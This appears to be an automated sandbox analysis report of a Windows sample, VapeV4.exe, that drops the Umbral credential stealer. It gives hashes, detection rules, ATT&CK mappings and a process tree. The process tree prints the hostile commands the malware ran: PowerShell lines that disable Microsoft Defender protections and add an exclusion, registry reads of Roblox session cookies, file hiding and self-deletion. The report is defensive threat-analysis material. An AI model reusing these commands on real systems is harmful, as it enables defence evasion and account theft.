umbral | 14a16b4fcb0af8c5fae891e060a5175f58c020a735be9e5a2242ac76c4327946

Analysis

max time kernel
92s
max time network
94s
platform
windows11-21h2_x64
resource
win11-20240730-en
resource tags

arch:x64arch:x86image:win11-20240730-enlocale:en-usos:windows11-21h2-x64system
submitted
31-07-2024 13:16

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General

Target

VapeV4.exe
Size

12.0MB
MD5

5f3fabec375e5a1acc1431477309ab48
SHA1

c12fc1f9da09dd799601cc8c852cd742e6d2b32e
SHA256

14a16b4fcb0af8c5fae891e060a5175f58c020a735be9e5a2242ac76c4327946
SHA512

9b9567c649e98964949dc00a6865d0656c2fa600f294a654ef4264b48a6b34f0d3096c20603acafbb47c4e1568893078dc53c5a619a9b839fee434853bfb9d72
SSDEEP

98304:DemvHzXnfpOfKEmZH0H7UpjSSJgEEjZoTsBbZAqSsraMh+QIUuoMOWucEZ8:DNHrxygH87BdjZ/JPraxzNo

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000500000002a9f0-11.dat	family_umbral
behavioral1/memory/1668-18-0x0000022D2A550000-0x0000022D2A590000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2816	powershell.exe
556	powershell.exe
4612	powershell.exe
3576	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	VAPECRACKED.EXE

Executes dropped EXE 2 IoCs

pid	Process
1136	PTV0FS56EO2.EXE
1668	VAPECRACKED.EXE

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	discord.com
6	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	VapeV4.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3692	cmd.exe
2532	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4768	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2532	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1668	VAPECRACKED.EXE
3576	powershell.exe
3576	powershell.exe
4612	powershell.exe
4612	powershell.exe
2816	powershell.exe
2816	powershell.exe
1416	powershell.exe
1416	powershell.exe
556	powershell.exe
556	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1668	VAPECRACKED.EXE
Token: SeDebugPrivilege	1136	PTV0FS56EO2.EXE
Token: SeIncreaseQuotaPrivilege	4564	wmic.exe
Token: SeSecurityPrivilege	4564	wmic.exe
Token: SeTakeOwnershipPrivilege	4564	wmic.exe
Token: SeLoadDriverPrivilege	4564	wmic.exe
Token: SeSystemProfilePrivilege	4564	wmic.exe
Token: SeSystemtimePrivilege	4564	wmic.exe
Token: SeProfSingleProcessPrivilege	4564	wmic.exe
Token: SeIncBasePriorityPrivilege	4564	wmic.exe
Token: SeCreatePagefilePrivilege	4564	wmic.exe
Token: SeBackupPrivilege	4564	wmic.exe
Token: SeRestorePrivilege	4564	wmic.exe
Token: SeShutdownPrivilege	4564	wmic.exe
Token: SeDebugPrivilege	4564	wmic.exe
Token: SeSystemEnvironmentPrivilege	4564	wmic.exe
Token: SeRemoteShutdownPrivilege	4564	wmic.exe
Token: SeUndockPrivilege	4564	wmic.exe
Token: SeManageVolumePrivilege	4564	wmic.exe
Token: 33	4564	wmic.exe
Token: 34	4564	wmic.exe
Token: 35	4564	wmic.exe
Token: 36	4564	wmic.exe
Token: SeIncreaseQuotaPrivilege	4564	wmic.exe
Token: SeSecurityPrivilege	4564	wmic.exe
Token: SeTakeOwnershipPrivilege	4564	wmic.exe
Token: SeLoadDriverPrivilege	4564	wmic.exe
Token: SeSystemProfilePrivilege	4564	wmic.exe
Token: SeSystemtimePrivilege	4564	wmic.exe
Token: SeProfSingleProcessPrivilege	4564	wmic.exe
Token: SeIncBasePriorityPrivilege	4564	wmic.exe
Token: SeCreatePagefilePrivilege	4564	wmic.exe
Token: SeBackupPrivilege	4564	wmic.exe
Token: SeRestorePrivilege	4564	wmic.exe
Token: SeShutdownPrivilege	4564	wmic.exe
Token: SeDebugPrivilege	4564	wmic.exe
Token: SeSystemEnvironmentPrivilege	4564	wmic.exe
Token: SeRemoteShutdownPrivilege	4564	wmic.exe
Token: SeUndockPrivilege	4564	wmic.exe
Token: SeManageVolumePrivilege	4564	wmic.exe
Token: 33	4564	wmic.exe
Token: 34	4564	wmic.exe
Token: 35	4564	wmic.exe
Token: 36	4564	wmic.exe
Token: SeDebugPrivilege	3576	powershell.exe
Token: SeDebugPrivilege	4612	powershell.exe
Token: SeDebugPrivilege	2816	powershell.exe
Token: SeDebugPrivilege	1416	powershell.exe
Token: SeIncreaseQuotaPrivilege	2952	wmic.exe
Token: SeSecurityPrivilege	2952	wmic.exe
Token: SeTakeOwnershipPrivilege	2952	wmic.exe
Token: SeLoadDriverPrivilege	2952	wmic.exe
Token: SeSystemProfilePrivilege	2952	wmic.exe
Token: SeSystemtimePrivilege	2952	wmic.exe
Token: SeProfSingleProcessPrivilege	2952	wmic.exe
Token: SeIncBasePriorityPrivilege	2952	wmic.exe
Token: SeCreatePagefilePrivilege	2952	wmic.exe
Token: SeBackupPrivilege	2952	wmic.exe
Token: SeRestorePrivilege	2952	wmic.exe
Token: SeShutdownPrivilege	2952	wmic.exe
Token: SeDebugPrivilege	2952	wmic.exe
Token: SeSystemEnvironmentPrivilege	2952	wmic.exe
Token: SeRemoteShutdownPrivilege	2952	wmic.exe
Token: SeUndockPrivilege	2952	wmic.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 2100 wrote to memory of 1136	2100	VapeV4.exe	79
PID 2100 wrote to memory of 1136	2100	VapeV4.exe	79
PID 2100 wrote to memory of 1668	2100	VapeV4.exe	81
PID 2100 wrote to memory of 1668	2100	VapeV4.exe	81
PID 1668 wrote to memory of 4564	1668	VAPECRACKED.EXE	82
PID 1668 wrote to memory of 4564	1668	VAPECRACKED.EXE	82
PID 1668 wrote to memory of 5012	1668	VAPECRACKED.EXE	85
PID 1668 wrote to memory of 5012	1668	VAPECRACKED.EXE	85
PID 1668 wrote to memory of 3576	1668	VAPECRACKED.EXE	87
PID 1668 wrote to memory of 3576	1668	VAPECRACKED.EXE	87
PID 1668 wrote to memory of 4612	1668	VAPECRACKED.EXE	89
PID 1668 wrote to memory of 4612	1668	VAPECRACKED.EXE	89
PID 1668 wrote to memory of 2816	1668	VAPECRACKED.EXE	91
PID 1668 wrote to memory of 2816	1668	VAPECRACKED.EXE	91
PID 1668 wrote to memory of 1416	1668	VAPECRACKED.EXE	93
PID 1668 wrote to memory of 1416	1668	VAPECRACKED.EXE	93
PID 1668 wrote to memory of 2952	1668	VAPECRACKED.EXE	95
PID 1668 wrote to memory of 2952	1668	VAPECRACKED.EXE	95
PID 1668 wrote to memory of 2760	1668	VAPECRACKED.EXE	97
PID 1668 wrote to memory of 2760	1668	VAPECRACKED.EXE	97
PID 1668 wrote to memory of 2668	1668	VAPECRACKED.EXE	99
PID 1668 wrote to memory of 2668	1668	VAPECRACKED.EXE	99
PID 1668 wrote to memory of 556	1668	VAPECRACKED.EXE	101
PID 1668 wrote to memory of 556	1668	VAPECRACKED.EXE	101
PID 1668 wrote to memory of 4768	1668	VAPECRACKED.EXE	103
PID 1668 wrote to memory of 4768	1668	VAPECRACKED.EXE	103
PID 1668 wrote to memory of 3692	1668	VAPECRACKED.EXE	105
PID 1668 wrote to memory of 3692	1668	VAPECRACKED.EXE	105
PID 3692 wrote to memory of 2532	3692	cmd.exe	107
PID 3692 wrote to memory of 2532	3692	cmd.exe	107

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5012	attrib.exe

C:\Users\Admin\AppData\Local\Temp\VapeV4.exe
"C:\Users\Admin\AppData\Local\Temp\VapeV4.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2100
- C:\Users\Admin\AppData\Local\Temp\PTV0FS56EO2.EXE
  "C:\Users\Admin\AppData\Local\Temp\PTV0FS56EO2.EXE"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1136
- C:\Users\Admin\AppData\Local\Temp\VAPECRACKED.EXE
  "C:\Users\Admin\AppData\Local\Temp\VAPECRACKED.EXE"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1668
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4564
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\VAPECRACKED.EXE"
    3⤵
    - Views/modifies file attributes
    PID:5012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\VAPECRACKED.EXE'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3576
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4612
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2816
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1416
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2952
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:2760
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:2668
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:556
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:4768
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\VAPECRACKED.EXE" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:3692
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2532

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
1a9fa92a4f2e2ec9e244d43a6a4f8fb9

SHA1
9910190edfaccece1dfcc1d92e357772f5dae8f7

SHA256
0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

SHA512
5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
02975ea0938bd97fc7230f785cd825a7

SHA1
192713c1f2912016fb8c2f1ed8eb8be4a883218d

SHA256
c330ecfbea7de88e537747edbb97192cbca39b8ec65e9dc6105d2a7a3e3d6859

SHA512
52e28301d3981c4eb78988018a7c56788e1ebbea586612f68016cad8317223a74851bb6a3f91f62d1e8c914c075c775810c90f5994ecadd73c635194aaaf5bf9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7332074ae2b01262736b6fbd9e100dac

SHA1
22f992165065107cc9417fa4117240d84414a13c

SHA256
baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa

SHA512
4ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
294c4ec36f96662c1c9dd39aa68a494c

SHA1
0ec6b16f8b5f316ed159e7870713f6d6e6de7cd0

SHA256
411e5e58fa224daf1f1b7459726b1d32b8de22712bcc19f43c0bb7c1d2208b27

SHA512
10ab73950480692a5ed13634309f6d23eab65b93dfab46d479ce1c5199112f38f05338b997e95dc4dcf7998d00b36d9a8f12021ea072d7b818248b7e5f74508c

Download Submit
C:\Users\Admin\AppData\Local\Temp\PTV0FS56EO2.EXE

Filesize
11.7MB

MD5
2e56df9a8706992ee6ea0f376f9af25a

SHA1
5cab7bda6971e9348495763455067d2bb8a336e9

SHA256
0303959c78d21b55fc3421ef30a80da761a5a5e2a6f8f844fdadfbd41e7f1c50

SHA512
b1c486ea9e50dfb570e0a3d0532cdc685e7d23fb4852023bc8ef8587c45752bd4c0a05cea00b65286027855bfca412ccc303523906f1a43f81d246ac2b8b2bf7

Download Submit
C:\Users\Admin\AppData\Local\Temp\VAPECRACKED.EXE

Filesize
227KB

MD5
e572c3eebbf522dc416c145df031dfaa

SHA1
b057756cb76c87090cec0a171bb8c45f867675bc

SHA256
da84aa6df18872e32ee26478b43130929e95640ea0862f05c96ec44c165c8472

SHA512
421125d31685855a726f4d6e60a8a76aec03fa298ab0d5e790edf15a5fc6b9eb5f03584313fb0f737a800216d677ab100e0a3804c835b9a26657b2b3d086aba4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_452eipsm.g0i.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1136-19-0x00007FF7E1CB0000-0x00007FF7E287B000-memory.dmp

Filesize
11.8MB

Download
memory/1136-100-0x00007FF7E1CB0000-0x00007FF7E287B000-memory.dmp

Filesize
11.8MB

Download
memory/1668-18-0x0000022D2A550000-0x0000022D2A590000-memory.dmp

Filesize
256KB

Download
memory/1668-20-0x00007FFA542D3000-0x00007FFA542D5000-memory.dmp

Filesize
8KB

Download
memory/1668-22-0x00007FFA542D0000-0x00007FFA54D92000-memory.dmp

Filesize
10.8MB

Download
memory/1668-47-0x0000022D44C90000-0x0000022D44CAE000-memory.dmp

Filesize
120KB

Download
memory/1668-81-0x0000022D44CD0000-0x0000022D44CDA000-memory.dmp

Filesize
40KB

Download
memory/1668-82-0x0000022D44DE0000-0x0000022D44DF2000-memory.dmp

Filesize
72KB

Download
memory/1668-46-0x0000022D44D90000-0x0000022D44DE0000-memory.dmp

Filesize
320KB

Download
memory/1668-99-0x00007FFA542D0000-0x00007FFA54D92000-memory.dmp

Filesize
10.8MB

Download
memory/1668-45-0x0000022D44D10000-0x0000022D44D86000-memory.dmp

Filesize
472KB

Download
memory/3576-28-0x0000023BF2520000-0x0000023BF2542000-memory.dmp

Filesize
136KB

Download